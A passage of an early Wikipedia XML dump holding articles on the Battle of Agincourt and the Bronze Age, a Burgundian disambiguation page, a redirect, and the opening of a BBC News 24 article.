|conflict=Battle of Agincourt
|partof=the [[Hundred Years' War]]
|image=[[Image:Agincour.JPG]]
|caption=The Battle of Agincourt, 15th century miniature
|date=[[25 October]] (St. Crispin's Day) [[1415]]
|place=[[Azincourt|Agincourt]], [[France]]
|result=Decisive English victory
|combatant1=[[Kingdom of England]]
|combatant2=[[France in the Middle Ages|Kingdom of France]]
|commander1=[[Henry V of England]]
|commander2=[[Jean Le Maingre]]&lt;br&gt;[[Charles d'Albret]]
|strength1=6,000-9,000 troops
|strength2=12,000-50,000 troops
|casualties1=100-500
|casualties2=5,000-8,000 with over 1,000 prisoners
}}
{{Campaignbox Hundred Years' War}}
The '''Battle of Agincourt''' ([[French language|French]]: ''Bataille d'Azincourt'') was fought on [[25 October]] [[1415]] in northern [[France]] as part of the [[Hundred Years' War]]. The battle was fought on a rainy day, the [[feast day]] of [[Crispin|Saint Crispin]], between the [[Military history of Britain|English and Welsh army]] of [[Henry V of England|King Henry V]] and the [[Military history of France|French army]] of [[Charles VI of France|King Charles VI]]. The latter was not commanded by the incapacitated King himself, but by the [[Constable of France|Constable]], [[Charles d'Albret]], and various notable French noblemen of the [[Armagnac (party)|Armagnac]] party. 

The battle is notable for the use of the [[English longbow]]. The battle was also immortalised (and somewhat fictionalised) by [[William Shakespeare]] in his [[Shakespearean histories|history play]] ''[[Henry V (play)|Henry V]]''. Though according to tradition the English won a decisive victory despite being outnumbered, new research contests that claim. 

==The campaign==
[[Henry V of England|Henry V]] had invaded France for several reasons. He hoped that by fighting a popular foreign war he would strengthen his position at home. He wanted to improve his financial position by gaining lands in France which would secure him revenue. He also wanted to take nobles prisoner who would either pay ransoms or extort money from the French King in exchange for returning home. The latter tactic is a version of &quot;[[Danegeld]]&quot;, which English kings had successfully employed before. Evidence also suggests that several lords in the region of Normandy promised him their lands when they died, but the King of France confiscated their lands instead.

Henry's army landed in northern France on [[13 August]] [[1415]], and besieged the port of [[Harfleur]]. The [[siege of Harfleur]] took longer than expected. The town surrendered on [[22 September]], and the English army did not leave until [[8 October]]. The campaign season was coming to an end, and the English Army had suffered many casualties through disease. Henry decided to move his army to the port of [[Calais]], the only English [[stronghold]] in northern France, where they could re-equip over winter for the campaign season of 1416.

During the siege, the French had been able to call up a large [[feudal]] army which d'Albret deployed skilfully between Harfleur and Calais, mirroring the English manoeuvres along the river Somme, thus preventing them from reaching Calais without a major confrontation. The end result was that d'Albret managed to force Henry into fighting a battle that, given the state of his army, he would have preferred to avoid.

The catastrophic defeat that the French suffered at the ''Battle of Agincourt'' allowed Henry to fulfill all his campaign objectives. He was recognised by the French in the [[treaty of Troyes|Treaty of]] [[Troyes]] ([[1420]]) as regent and heir to the French throne. This was cemented by his marriage to [[Catherine of Valois]], the daughter of King Charles VI.

Henry V did not live to inherit the throne of France. In [[1422]], while securing his position against further French opposition, he died of [[dysentery]] at the age 34, two months before the death of Charles VI. He was succeeded by his young son, [[Henry VI of England|Henry VI]], during whose reign the English were expelled from all of France except Calais by French military successes, encouraged by [[Joan of Arc]], under the new French king, [[Charles VII of France|Charles VII]].

==The Battle==
The battle was fought in the [[defile]] formed by the wood of [[Azincourt|Agincourt]] and that of [[Tramecourt]], at the northern exit of which the army under d'Albret, Constable of France, had placed itself so as to bar the way to [[Calais]]. The night of [[24 October]] was spent by the two armies on the ground, and the English had but little shelter from the heavy rain which fell. Early on the 25th, Henry deployed his army (800 men-at-arms, 5,000 archers). It is probable that the usual three &quot;battles&quot; were drawn up in line, each with its archers on the flanks and the dismounted men-at-arms in the centre. The English knights were clad in sturdy iron helmets and short-sleeved chain-mail tunics beneath studded leather vests, and were placed shoulder to shoulder four deep. The English archers being thrown forward in wedge-shaped salients with spikes in the ground to cause a horse charge to veer off, almost exactly as at the [[Battle of Crécy]]. Many English archers were naked below the waist due to the continuing dysentery of the march, and the English last meal was four days previous (naked and half-starved was the English condition), and once in formation the archers were not allowed to leave and had to relieve themselves right where they stood.

The French were arrayed in three great lines called &quot;battles&quot; with knights in each packed with 40 men deep. On each French flank were the mounted men-at-arms, including 12 princes of royal blood, while the center contained dismounted men-at-arms. Altogether, there were roughly 24,000 Frenchmen ready to destroy 5,800 Englishmen.

An important factor in the battle was the terrain, which was very muddy from recent rains. This deep mud favored the English force because, once knocked to the ground, the heavily armored French knights could not stand back up, eliminating the French knights as an effective force of arms. The mud was deep enough that more than one knight suffocated after being knocked into it.  The deep mud also served to prevent the French artillery from taking part in the battle. The French crossbowmen were, as usual, relegated to the rear of the knights and men-at-arms. French accounts state that prior to the battle Henry V gave a speech reassuring his nobles that if the French prevailed the English nobles would be spared death &amp;ndash; being captured and ransomed instead. However, the common soldier would have no such luck and therefore he told them they had better fight for their lives.
[[Image:AgincourtMap.jpg|right|map]]

For three hours after sunrise there was no fighting; then Henry, finding that the French would not advance, moved his army further into the defile. The archers dug-in pointed wooden stakes called palings, at an angle, to ward off cavalry charges, and opened the engagement with flights of arrows. It should be noted that these palings were an innovation. At [[Battle of Crécy|Crécy]] and [[Battle of Poitiers (1356)|Poitiers]], two other similar battles between the French and the English, the archers had not had them.

The French force was not an army but a group of knights who came together at the request of Charles VI. They were undisciplined and careless of the lessons of Crécy and Poitiers, and were quickly stung into action. The French mounted men [[Charge (warfare)|charged]], only to be driven back in confusion. The constable himself headed the leading line of dismounted men-at-arms, but weighed down by their [[armour]] and sinking deep into the mud with every step, they struggled to reach and engage the English men-at-arms. Wallowing in the mud, they were easy targets for the Welsh bowmen.  However, for a time the fighting was severe. The thin line of the defenders was pushed back and King Henry was almost beaten to the ground. But at this  moment the archers, using hatchets, swords and other weapons, penetrated the gaps in the now disordered French, who could not cope with their unarmoured assailants, and were slaughtered or taken prisoner. The second line of the French came on, only to be engulfed in the mêlée. Its leaders, like those of the first line, were killed or captured, and the commanders of the third line sought and found their death in the battle, while their men rode off to safety.

The only success for the French was a sally from Agincourt castle behind the lines. Ysambart D'Agincourt seized the King's baggage. Thinking his rear was under attack, Henry ordered the slaughter of the captives, (who could easily have armed themselves with the weapons strewn about the field). The nobles and senior officers, wishing to maintain their ability to ransom the captives, refused the task and the job fell to the common soldiers. Henry's actions may have been savage, but if the captives were to arm themselves, his army would have been crushed between the French forces and the prisoners.

In the morning Henry came back to the battlefield and killed any wounded French who had survived the night in the open. All the nobility had already been taken away and any commoners left on the field were too badly injured to survive without medical care. Total English losses were put at thirteen  men-at-arms (including [[Edward of Norwich, 2nd Duke of York]], a grandson of [[Edward III of England|Edward III]]) and about 100 of the foot soldiers. The French lost 5,000 of noble birth killed, including the constable, three dukes, five counts and 90 barons (see below); 1000 more were taken prisoner, amongst them the [[Charles, duc d'Orléans|Duke of Orléans]] (the famous poet Charles d'Orléans) and [[Jean Le Maingre]], marshall of France.

===Notable casualties===
*[[Antoine, Duke of Brabant|Antoine of Burgundy]], [[Duke of Brabant|Duke of Brabant and Limburg]] (b. 1384)
*[[Philip II, Count of Nevers|Philip of Burgundy]], [[Count of Nevers]] and [[Counts and dukes of Rethel|Rethel]] (b. 1389)
*[[Charles d'Albret|Charles I d'Albret]], [[Count of Dreux]], the [[Constable of France]]
*John II, Count of Bethune (b. 1359)
*[[John I of Alençon|John I, Duke of Alençon]] (b. 1385)
*[[Frederick of Lorraine|Frederick of Lorraine, Count of Vaudemont]] (b. 1371)
*Robert, Count of Marles and Soissons
*[[Edward III, Duke of Bar]] (the [[Duchy of Bar]] lost its independence as a consequence of his death)
*John VI, Count of Roucy
*[[Edward of Norwich, 2nd Duke of York]] (b. 1373)

===Sir Peers Legh===
When [[Sir]] [[Peers Legh]] was wounded in the Battle of Agincourt his Mastiff stood over him and protected him for many hours through the battle.  Although, Legh later died, the Mastiff returned to Legh's home and was the foundation of the [[Lyme Hall Mastiffs]].  Five centuries later this [[Pedigree (dog)|pedigree]] figured prominently in founding the modern [[English Mastiff]] breed.

==Modern re-assessment of Agincourt==
===Were archers as effective as traditionally thought?===
Recent experiments at Agincourt and elsewhere suggest that the English archers may have inflicted less damage than traditionally assumed on the heavily armoured French [[knight]]s and [[men-at-arms]], because of the recent adoption of steel (rather than iron) armour. &lt;!-- And if someone could add specific citations for these experiments, it would be appreciated. --&gt;

A series of tests carried out for a television programme ('Battlefield Detectives') about Agincourt had limitations,&lt;!-- This is saying the tests had limitations, right? Who is claiming this? Citations, please. --&gt; such as:
* The draw weight of the [[English longbow]]s used may or may not have been correct. It is unlikely that in the tests they were using bows with the average draw weight of those found on the ship ''[[Mary Rose]]''.
* The bodkin arrow heads which were used in the tests was one of many possible designs.
* The tests assumed that the majority of armour was steel of consistent quality and that the arrow heads were of iron, when they too might have been steel.
* No test was carried out to examine what would happen at close range with arrows aimed at weak points in the armour.
* The tests also failed to account for the fact that the average English archer was the master of his trade, able to consistently hit targets in excess of two hundred yards.

It is possible that most of the archery casualties were the less-armoured horses, causing the mounted fighters to be thrown down onto the muddy ground, where they had difficulty in rising. In addition, the French troops were exhausted by struggling through the quagmire and arrived piecemeal at the English line of battle.

A second feature contributing to the French defeat was the funnel-shaped battlefield that caused the French forces to converge as they approached the English lines. As they moved forward, they jostled each other and tripped over the bodies of the fallen horses and men. It is possible that many actually suffocated as they were trampled into the mud by the following soldiers and knights. This suggestion has been supported by computer models and video footage used to study [[Crowd disasters|crowd disasters]] at football grounds and music concerts.

Into this chaos, the lightly protected archers moved, more nimbly than the heavily armoured French, and were able to inflict severe damage on the enemy with their short swords, knives, mallets, and other weapons. This suggests that the archers were more effective as infantrymen than as archers.

===Were the English as outnumbered as traditionally thought?===
Until recently, Agincourt has been feted as one of the greatest victories in British military history, but in ''Agincourt, A New History'' (2005), Anne Curry makes the claim that the scale of the English triumph at Agincourt was overstated for almost six centuries. However, it will be years before other historians will have been able to go over her data and decide whether her theory is correct.

For a very long time, the official version was that Henry V's army was largely outnumbered by the French. From [[World War II]] until the early [[2000s]], historians believed the odds were at least four to one. However, Anne Curry theorizes that the figures had been exaggerated over the centuries for patriotic reasons{{ref|curry}}. After studying the original enrollment records at the [[National Archives and Records Administration|National Archives]] in [[London]] and the [[Bibliothèque nationale de France|National Library of France]] in [[Paris]], she determined that there were more English and Welsh troops than previously thought, and far fewer on the French side.

According to her research, the French still outnumbered the English and Welsh, but only by a factor of three to two (12,000 Frenchmen pitted against 8,000 Englishmen and Welshmen). According to Curry, the Battle of Agincourt was a &quot;myth constructed around Henry to build up his reputation as a king&quot;. The legend of the English as underdogs at Agincourt was definitely given credence in popular English culture with [[William Shakespeare]]'s [[Henry V (play)|''Henry V'']] in [[1599]]. In the speech before the battle, Shakespeare puts in the mouth of Henry V the famous line &quot;We few, we happy few, we band of brothers&quot;.

Some early reviewers of the book have been enthusiastic, but it remains to be seen whether her thesis will stand up to scrutiny after the book has been subjected to the critique of a wider scholarly audience.

A later book by Juliet Barker ''Agincourt: The King, the Campaign, the Battle'' claims 6,000 English and Welsh fought against 36,000 French, that is, odds of six to one, from a French heraldic source. The same test of wider scholarly scrutiny is also yet to be withstood.

==Popular myths==
It has long been told that the famous &quot;[[two-fingers salute]]&quot; and/or &quot;[[V sign]]&quot; derives from the gestures of [[Wales|Welsh]] [[archers]], fighting alongside the [[English people|English]] at [[Azincourt|Agincourt]]. The myth claims that the [[French people|French]] cut off two fingers on the right hand of captured [[archers]] and that the gesture was a sign of defiance by those who were not mutilated. 

This may have some basis in fact - [[Jean Froissart]] (circa 1337-circa 1404) was a historian as the author of ''The Chronicle'', a primary document that is essential to an understanding of Europe in the fourteenth century and to the twists and turns taken by the Hundred Years' War. The story of the English waving their fingers at the French is told in the first person account by Froissart, however the description is not of an incident at the Battle of Agincourt, but rather at the siege of a castle in another incident during the Hundred Years War. Also, Froissart is known to have died before the Battle of Agincourt.

==See also==
* [[Dafydd Gam]]: Welsh hero who saved Henry V's life at Agincourt
* [[William Shakespeare]]: [[Henry V (play)|Henry V]]
* [[Laurence Olivier]]: [[Henry V (1944 film)]]
* [[Kenneth Branagh]]: [[Henry V (1989 film)]]

==Bibliography==
* ''[http://www.tempus-publishing.com/bookdetails.php?isbn=0752428284 Agincourt: A New History]'' by Anne Curry. Pub:Tempus UK [[1 May]] [[2005]]. ISBN 0752428284
* ''Agincourt: The King, the Campaign, the Battle'' by Juliet Barker. Pub: Little, Brown [[6 October]] [[2005]]. ISBN 0316726486
* Military Heritage did a feature on King Henry V Battle of Agincourt (Military Heritage, October 2005, Volume 7, No. 2, pp. 36 to 43); ISSN 1524-8666.
* ''The Face of Battle'' by David Keegan offered fresh interpretations of the battle at the time it was published, and a scientific look at how horses behave on the battlefield; it is a study of three classic English battles - Agincourt, Waterloo and the Somme.

== External references ==
* {{cite web
 | title=Battlefield Detectives - Agincourt
 | work=Crowd Dynamics Ltd Battlefield Detectives - Agincourt
 | url=http://www.crowddynamics.com/Battlefield%20Detectives/Agincourt.htm
 | accessdate=September 9 | accessyear=2005
 }}
*[http://www.geocities.com/beckster05/Agincourt/AgBattle.html Agincourt] A fairly detailed treatment of the battle.
*[http://home.austin.rr.com/wdaniel/agincourt/ The Battle of Agincourt Resource Site ]
*[http://www.familychronicle.com/agincort.htm The Agincourt Honor Roll]
*[http://www.bbc.co.uk/history/timelines/britain/lmid_agincourt.shtml BBC - The Battle of Agincourt and English claims to the French Crown 1415 - 1422]
*[http://www.bbc.co.uk/radio4/history/inourtime/inourtime_20040916.shtml Agincourt with Anne Curry, Michael Jones and John Watts] from [[In Our Time (BBC Radio 4)]]
*[http://www.deremilitari.org/REVIEWS/review8.htm Agincourt 1415: Henry V, Sir Thomas Erpingham and the triumph of the English archers] ed. Anne Curry, Pub:Tempus UK, 2000 ISBN 0725417800
*[http://www.aginc.net/battle/ The Battle of Agincourt] [http://www.aginc.net/battle/biblio.html Bibliography]

==Notes==
#{{note|curry}}[http://www.timesonline.co.uk/printFriendly/0,,1-523-1632547,00.html Henry V's payroll cuts Agincourt myth down to size] by Richard Brooks, Arts Editor of [[Sunday Times]] [[May 29]] [[2005]]. A review of Ann Currys ''Agincourt: A New History'', see [[Bibliography]]

[[Category:1415]]
[[Category:Battles of the Hundred Years' War|Agincourt 1415]]
[[Category:Medieval warfare]]
[[Category:Pas-de-Calais]]
[[Category:History of archery]]

{{Link FA|he}}

[[af:Slag van Azincourt]]
[[cs:Bitva u Azincourtu]]
[[de:Schlacht von Azincourt]]
[[eo:Batalo de Azincourt]]
[[es:Batalla de Azincourt]]
[[fr:Bataille d'Azincourt]]
[[gl:Batalla de Agincourt]]
[[he:קרב אז'נקור]]
[[ja:アジャンクールの戦い]]
[[nl:Slag bij Azincourt]]
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[[pl:Bitwa pod Azincourt]]
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[[ro:Bătălia de la Agincourt]]
[[ru:Битва при Азенкуре]]
[[sv:Slaget vid Azincourt]]
[[zh:阿让库尔战役]]</text>
    </revision>
  </page>
  <page>
    <title>Burgundian</title>
    <id>4616</id>
    <revision>
      <id>40418198</id>
      <timestamp>2006-02-20T11:32:17Z</timestamp>
      <contributor>
        <username>Alexander 007</username>
        <id>493689</id>
      </contributor>
      <text xml:space="preserve">'''Burgundian''' is any of the following;

*The [[Burgundian language]].  
*An [[Oïl languages|Oïl language]] known as [[Bourguignon]] spoken in the region of [[Burgundy]]. It is one of the [[Languages of France]]. Sometimes the [[Franc-Comtois]] language is referred to as part of the Burgundian group.
*A political faction known as the [[Burgundian (party)]] in early fifteenth century during the [[Hundred Years War]].

{{disambig}}
[[Category:Oïl languages]] 
[[Category:Languages of France]]
[[Category:History of France]]

[[af:Boergondies]]
[[ca:Burgundi]]
[[fy:Boergondysk]]
[[nl:Bourgondisch]]
[[pl:Bourguignon]]</text>
    </revision>
  </page>
  <page>
    <title>Bipolar transistors</title>
    <id>4618</id>
    <revision>
      <id>15902879</id>
      <timestamp>2002-08-23T02:45:39Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>fixing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Bipolar junction transistor]]</text>
    </revision>
  </page>
  <page>
    <title>Bronze Age</title>
    <id>4620</id>
    <revision>
      <id>42124860</id>
      <timestamp>2006-03-04T00:01:05Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
      </contributor>
      <comment>RV</comment>
      <text xml:space="preserve">:''This article is about the archaeological era, for the era in [[Classical mythology]] see [[Ages of Man]]''
:''For the comic book published by Image Comics, see [[Age of Bronze (comics)]]''

The '''Bronze Age''' is a period in a [[civilization]]'s development when the most advanced [[metalworking]] consisted of techniques for [[smelting]] [[copper]] and [[tin]] from naturally occurring outcroppings of ore, and then [[alloys|alloying]] those metals in order to cast [[bronze]].  The bronze age is part of the [[three-age system]] for [[prehistory|prehistoric societies]]. In that system, it follows the [[neolithic]] in some areas of the world.  In most parts of [[Sub-Saharan Africa]], the [[neolithic]] is directly followed by the '[[iron age]]'.

==Origins==
The earliest evidence of bronze metalworking dates to the mid [[4th millennium]] [[Maykop culture]] in the [[Caucasus]]. From there, the technology spread rapidly to the Near East and after some time to the [[Indus Valley Civilization]] (see [[Meluhha]]).

==Near Eastern Bronze Age==
The Bronze Age in the Near East is divided into three main periods (the dates are very approximate):
* EBA - Early Bronze Age (c.3500-2000 BC)
* MBA - Middle Bronze Age (c.2000-1600 BC)
* LBA - Late Bronze Age (c.1600-1200 BC)
Each main period can be divided into shorter subcategories such as EB I, EB II, MB IIa etc.

Metallurgy developed first in [[Anatolia]], modern [[Turkey]]. The mountains in the Anatolian highland possessed rich deposits of copper and tin. Copper was also mined in [[Cyprus]], [[Egypt]], the [[Negev]] desert, [[Iran]] and around the [[Persian Gulf]]. Copper was usually mixed with arsenic, yet the growing demand for tin resulted in the establishment of distant trade routes in and out of Anatolia. The precious copper was also imported by sea routes to the great kingdoms of [[Ancient Egypt]] and [[Mesopotamia]].

The Early Bronze Age saw the rise of urbanization into organized city states and the invention of writing (the [[Uruk period]] in the fourth millennium BC). In the Middle Bronze Age movements of people partially changed the political pattern of the Near East ([[Amorites]], [[Hittites]], [[Hurrians]], [[Hyksos]] and possibly the [[Israelites]]). The Late Bronze Age is characterized by competing powerful kingdoms and their vassal states ([[Ancient Egypt]], [[Assyria]], [[Babylonia]], [[Hittites]], [[Mitanni]]). Extensive contacts were made with the [[Aegean civilization]] ([[Ahhiyawa]], [[Alashiya]]) in which the copper trade played an important role.

Iron began to be worked already in Late Bronze Age Anatolia. The transition into the Iron Age c.1200 BC was more of a political change in the Near East rather than of new developments in metalworking.

==Asia==
[[China]]'s bronze age began from around 2100? BC during the [[Xia dynasty]]. In [[Ban Chiang]], [[Thailand]], ([[Southeast Asia]]) bronze [[artefact]]s have been discovered dating to [[21st century BC|2100 BC]] [http://www.museum.upenn.edu/new/research/Exp_Rese_Disc/Asia/banchiang/bronzelab/index.shtml].

The [[Erlitou culture]], [[Shang Dynasty]] and [[Sanxingdui|Sanxingdui culture]] of early [[China]] used bronze vessels for rituals as well as farming implements and weapons [http://www.nga.gov/exhibitions/chbro_bron.shtm].

The Middle [[Mumun pottery period]] culture of the southern [[Korean Peninsula]] gradually adopted bronze production circa [700-600?] BC after a period when Liaoning-style bronze daggers and other bronze artefacts were exchanged as far as the interior part of the Southern Peninsula (circa 900-700 B.C.). Bronze was an important element in ceremonies and as for mortuary offerings until AD 100.

==Aegean Bronze Age==
[[Image:Copper Ingot Crete.jpg|thumb|200px|Bronze Age copper ingot found in [[Crete]].]]
The [[Aegean civilization|Aegean]] bronze age civilisations established a far-ranging [[trade]] network.  This network imported [[tin]] and charcoal to [[Cyprus]], where [[copper]] was mined and alloyed with the tin to produce bronze. Bronze objects were then exported far and wide, and supported the trade. [[Isotope|Isotopic]] analysis of the tin in some [[Mediterranean]] bronze objects indicates it came from as far away as [[Great Britain]].{{fact}}

Knowledge of [[navigation]] was well developed at this time, and reached a peak of skill not exceeded until a method was discovered (or perhaps rediscovered) to determine [[longitude]] around [[1750]].  

The [[Minoan civilization]] appears to have coordinated and defended its bronze-age trade.

One crucial lack in this period was that modern methods of accounting were not available. Numerous authorities believe that ancient empires were prone to misvalue [[staples]] in favor of [[luxury|luxuries]], and thereby perish by famines created by [[uneconomic trade|uneconomic trading]].

How the bronze age ended in this region is still being studied.  There is evidence that [[Mycenaean Greece|Mycenaean]] administration of the regional trade empire followed the decline of Minoan primacy.  Evidence also exists that supports the assumption that several Minoan [[client-states]] lost large portions of their respective populations to extreme famines and/or pestilence, which in turn would indicate that the trade network may have failed at some point, preventing the trade that would have previously relieved such famines and prevented some forms of illness (by nutrition).  It is also known that the [[bread-basket]] of the Minoan empire, the area north of the [[Black Sea]], also suddenly lost significant portions of its population, and thus probably some degree of cultivation in this era.

Recent research has discredited the theory that exhaustion of the [[Cyprus|Cypriot]] forests caused the end of the bronze trade.  The Cypriot forests are known to have existed into later times, and experiments have shown that [[charcoal]] production on the scale necessary for the bronze production of the late bronze age would have exhausted them in less than fifty years.

One theory says that as [[iron]] tools became more common, the main justification of the tin trade ended, and that trade network ceased to function as it once did.  The individual colonies of the Minoan empire then suffered drought, famine, war, or some combination of these three factors, and thus they had no access to the far-flung resources of an empire by which they could easily recover.

Another family of theories looks to the volcanic explosion of [[Thera]], which occurred shortly before the end of the bronze age.  Thera is about 40 miles north of [[Crete]], which was at the time the capital of the Minoan empire.  Some authorities  speculate that a [[tsunami]] from Thera destroyed Cretan cities.  Others say that perhaps a tsunami destroyed the Cretan [[navy]] in its home harbor, which then lost crucial battles with the [[Mycenae|Mycenaean]] navy, so that a former [[colony]] took over the empire.  

Yet another theory looks to the possible loss of Cretan expertise in administering the Empire.  If this expertise was concentrated in Crete, and simply became discredited by military failure, then the [[Mycenaean]]s may have made crucial political and commercial mistakes when administering their empire.

All of these theories are persuasive, and aspects of all of them may have some validity in describing the end of the bronze age in this region.

==British Bronze Age==
In [[Great Britain]], the bronze age is considered to have been the period from around [[21st century BC|2100]] to [[8th century BC|700 BC]]. [[Immigration]] brought new people to the islands from the continent, recent tooth enamel isotope research on bodies found in early bronze age graves around [[Stonehenge]] indicate that at least some of the immigrants came from the area of modern [[Switzerland]]. The [[Beaker people]] displayed different behaviours from the earlier [[Neolithic]] people and cultural change was significant although integration is thought to have been peaceful as many of the early [[henge]] sites were seemingly adopted by the newcomers. The rich [[Wessex culture]] developed in southern Britain at this time. Additionally, the climate was deteriorating, where once the weather was warm and dry it became much wetter as the bronze age continued, forcing the population away from easily-defended sites in the hills and into the fertile valleys. Large livestock ranches developed in the lowlands which appear to have contributed to economic growth and inspired increasing forest clearances. The [[Deverel-Rimbury culture]] began to emerge in the second half of the 'Middle Bronze Age' (c. [[1400 BC|1400]]-[[1100 BC]]) to exploit these conditions. [[Cornwall]] was a major source of [[tin]] for much of western Europe and [[copper]] was extracted from sites such as the [[Great Orme]] mine in northern [[Wales]].  Social groups appear to have been tribal but with growing complexity and hierarchies becoming apparent. 

Also, the burial of dead (which until this period had usually been communal) became more individual. For example, whereas in the Neolithic a large [[chambered cairn]] or [[long barrow]] was used to house the dead, the 'Early Bronze Age' saw people buried in individual [[tumulus|barrow]]s (also commonly known and marked on modern British Ordnance Survey maps as Tumuli), or sometimes in [[cist]]s covered with [[cairn]]s.

==Central European Bronze Age==
[[Image:Bronze age weapons Romania.jpg|thumb|right|Bronze age weaponry]]
In [[Central Europe]], the early bronze age [[Unetice culture]] ([[18th century BC|1800]]-[[16th century BC|1600 BC]]) includes numerous smaller groups like the [[Straubingen culture|Straubingen]], [[Adlerberg culture|Adlerberg]] and [[Hatvan|Hatvan cultures]]. Some very rich burials, such as the one located at [[Leubingen]] with grave gifts crafted from gold, point to an increase of social stratification already present in the Unetice culture. All in all, cemeteries of this period are rare and of small size. The Unetice culture is followed by the middle bronze age ([[16th century BC|1600]]-[[12th century BC|1200 BC]]) [[Tumulus culture]], which is  characterised by inhumation burials in [[tumuli]] (barrows). In the eastern [[Hungary|Hungarian]] [[Körös]] tributaries, the early bronze age first saw the introduction of the [[Mako culture]], followed by the [[Ottomany culture|Ottomany]] and [[Gyulavarsand culture|Gyulavarsand]] cultures. 

The late bronze age [[urnfield]] culture, ([[13th century BC|1300 BC]]-[[700s BC|700 BC]]) is characterized by cremation burials. It includes the [[Lusatian culture]] in eastern [[Germany]] and [[Poland]] (([[1300 BC|1300]]-[[500 BC]]) that continues into the [[Iron Age]]. The Central European bronze age is followed by the iron age [[Hallstatt culture]] ([[700s BC|700]]-[[450 BC]]).

[[list of archaeological sites|Important sites]] include:
* [[Biskupin]] (Poland)
* [[Nebra]] (Germany)
* Zug-Sumpf, [[Zug]], [[Switzerland]]

==Nordic Bronze Age (1500-500 BC)==
{{main|Nordic Bronze Age}}

In northern [[Germany]], [[Denmark]], [[Sweden]] and [[Norway]], bronze age inhabitants manufactured many distinctive and beautiful artifacts, such as the pairs of [[lurer]] horns discovered in Denmark.  Some linguists believe that a [[proto-Indo-European language]] was probably introduced to the area around [[20th century BC|2000 BC]], which eventually became the ancestor of the [[Germanic languages]]. This would fit with the evolution of the Nordic bronze age into the most probably Germanic [[pre-Roman iron age]].  

The age is divided into the periods I-VI according to [[Oscar Montelius]]. Period Montelius V already belongs to the [[Iron Age]] in other regions.

== Bibliography ==
*Pernicka, E., G.A. Wagner, et al. &quot;''Early Bronze Age Metallurgy in the Northeast Aegean.''&quot; in &lt;u&gt;Troia and the troad: scientific approaches&lt;/u&gt;. Berlin, London: Springer; 2003. pp. 143-172. ISBN 3540437118

== External links ==
*http://www.geocities.com/Athens/Crete/4162/ Web index Bronze Age in Europe
* [http://www.e-mago.co.il/e-magazine/bronzeage.html Back to the Bronze Age?]

{{threeagesystem}}

[[Category:Bronze Age|*]]
[[Category:Prehistory]]
[[Category:Periods and stages in archaeology]]

[[af:Bronstyd]]
[[ar:عصر برونزي]]
[[ast:Edá de Bronce]]
[[cy:Yr Oes Efydd]]
[[da:Bronzealder]]
[[de:Bronzezeit]]
[[el:Εποχή του Χαλκού]]
[[es:Edad de Bronce]]
[[eo:Bronzepoko]]
[[fr:Âge du bronze]]
[[gl:Idade de Bronce]]
[[ko:청동기 시대]]
[[id:Zaman Perunggu]]
[[it:Età del bronzo]]
[[he:תקופת הברונזה]]
[[lv:Bronzas laikmets]]
[[nl:Bronstijd]]
[[nds:Bronzetiet]]
[[ja:青銅器時代]]
[[no:Bronsealderen]]
[[pl:Epoka brązu]]
[[pt:Idade do bronze]]
[[ru:Бронзовый век]]
[[simple:Bronze Age]]
[[sr:Бронзано доба]]
[[sv:Bronsåldern]]
[[uk:Бронзовий вік]]
[[zh:青铜时代]]</text>
    </revision>
  </page>
  <page>
    <title>BBC News 24</title>
    <id>4621</id>
    <revision>
      <id>41871129</id>
      <timestamp>2006-03-02T06:59:54Z</timestamp>
      <contributor>
        <ip>218.126.68.98</ip>
      </contributor>
      <comment>/* Background */</comment>
      <text xml:space="preserve">{{Infobox TV channel|
 name=BBC News 24|
 logosize=200px|
 logofile=BBC News 24 ident.jpg|
 logoalt=BBC News 24 ident since 2004|
 launch= [[November 9|9th November]] [[1997]]|
 share= 0.6% |
 share as of= Jan '06|
 share source= [http://www.barb.co.uk/viewingsummary/monthreports.cfm?report=monthgmulti]|
 owner= [[BBC]]|
 web= [http://www.bbc.co.uk/news24/ www.bbc.co.uk/news24]|
 terr serv 1=[[Freeview]]|
 terr chan 1=Channel 80|
 sat serv 1=[[Sky Digital]]|
 sat chan 1=Channel 503|
 sat serv 2=[[SES Astra|Astra 2D]]|
 sat chan 2=11073 V / 22000 / 5/6|
 cable serv 1=[[NTL]]|
 cable chan 1=Channel 10 or 125 depending on area|
 cable serv 2=[[Telewest]]|
 cable chan 2=Channel 610|
 cable serv 3=[[Telewest]] (analogue)|
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|}}
'''BBC News 24''' is [[BBC News]]' 24-hour news [[television]] channel in the [[United Kingdom|UK]], its international counterpart being [[BBC World]]. It first broadcast on [[November 9]] [[1997]] at 17:30 and at first only [[cable television]] subscribers could view the broadcast. In 1998, with the advent of [[digital television]] in the [[United Kingdom|UK]], [[satellite]] and [[digital terrestrial television]] viewers were able to view the service.  Initially it was difficult to obtain a digital satellite or terrestrial receiver without a subscription to Sky or [[ONdigital]] respectively, but now the channel forms an important part of the [[Freeview]] package of channels.  
==Background==
The BBC were initially criticised for the cost of running BBC News 24 channel, with so few viewers. Their response was to promote the channel through [[BBC One]] and later also [[BBC Two]], by having them [[simulcast]] News 24 output at night. This has made BBC News 24 available to non-digital viewers receiving BBC One/Two's analogue [[Terrestrial Television|terrestrial]] signals, and this is seen by some as influential (to a certain limited extent) in promoting the take-up of digital television. Following the end of the long running [[Breakfast with Frost]], in the summer of 2005, BBC One simulcast '''News 24 Sunday''', a weekly Sunday morning interview show presented by [[Peter Sissons]]. This ended when the replacement to Breakfast with Frost, [[Sunday AM]] presented by [[Andrew Marr]] began. 

Examples of News 24 network broadcasts include the [[September 11th attacks]], [[Operation Red Dawn|the capture of Saddam Hussein]] and [[7 July 2005 London bombings|the London bombings of July 7th, 2005]].

In September [[1999]] the [[European Commission]] ruled against a complaint by [[Sky News]] which argued that the publicly funded News 24 was unfair and illegal under [[European Union|EU]] law. The EC ruled that the licence fee should be considered state aid but that such aid was justified due to the public service remit of the BBC and that it did not exceed actual costs.

The BBC's 2004 [http://www.bbc.co.uk/annualreport/ annual report] claims that News 24 outperformed Sky News in both weekly and monthly reach in multichannel homes for the January 2004 period, and for the first time in two years moved ahead of Sky News in being perceived as the channel best for news. 

News 24 broadcasts from the News Centre in [[BBC Television Centre]], West [[London]].

== Presentation ==
[[Image:BBC News 24 evolution.JPG|550px|centre|]]
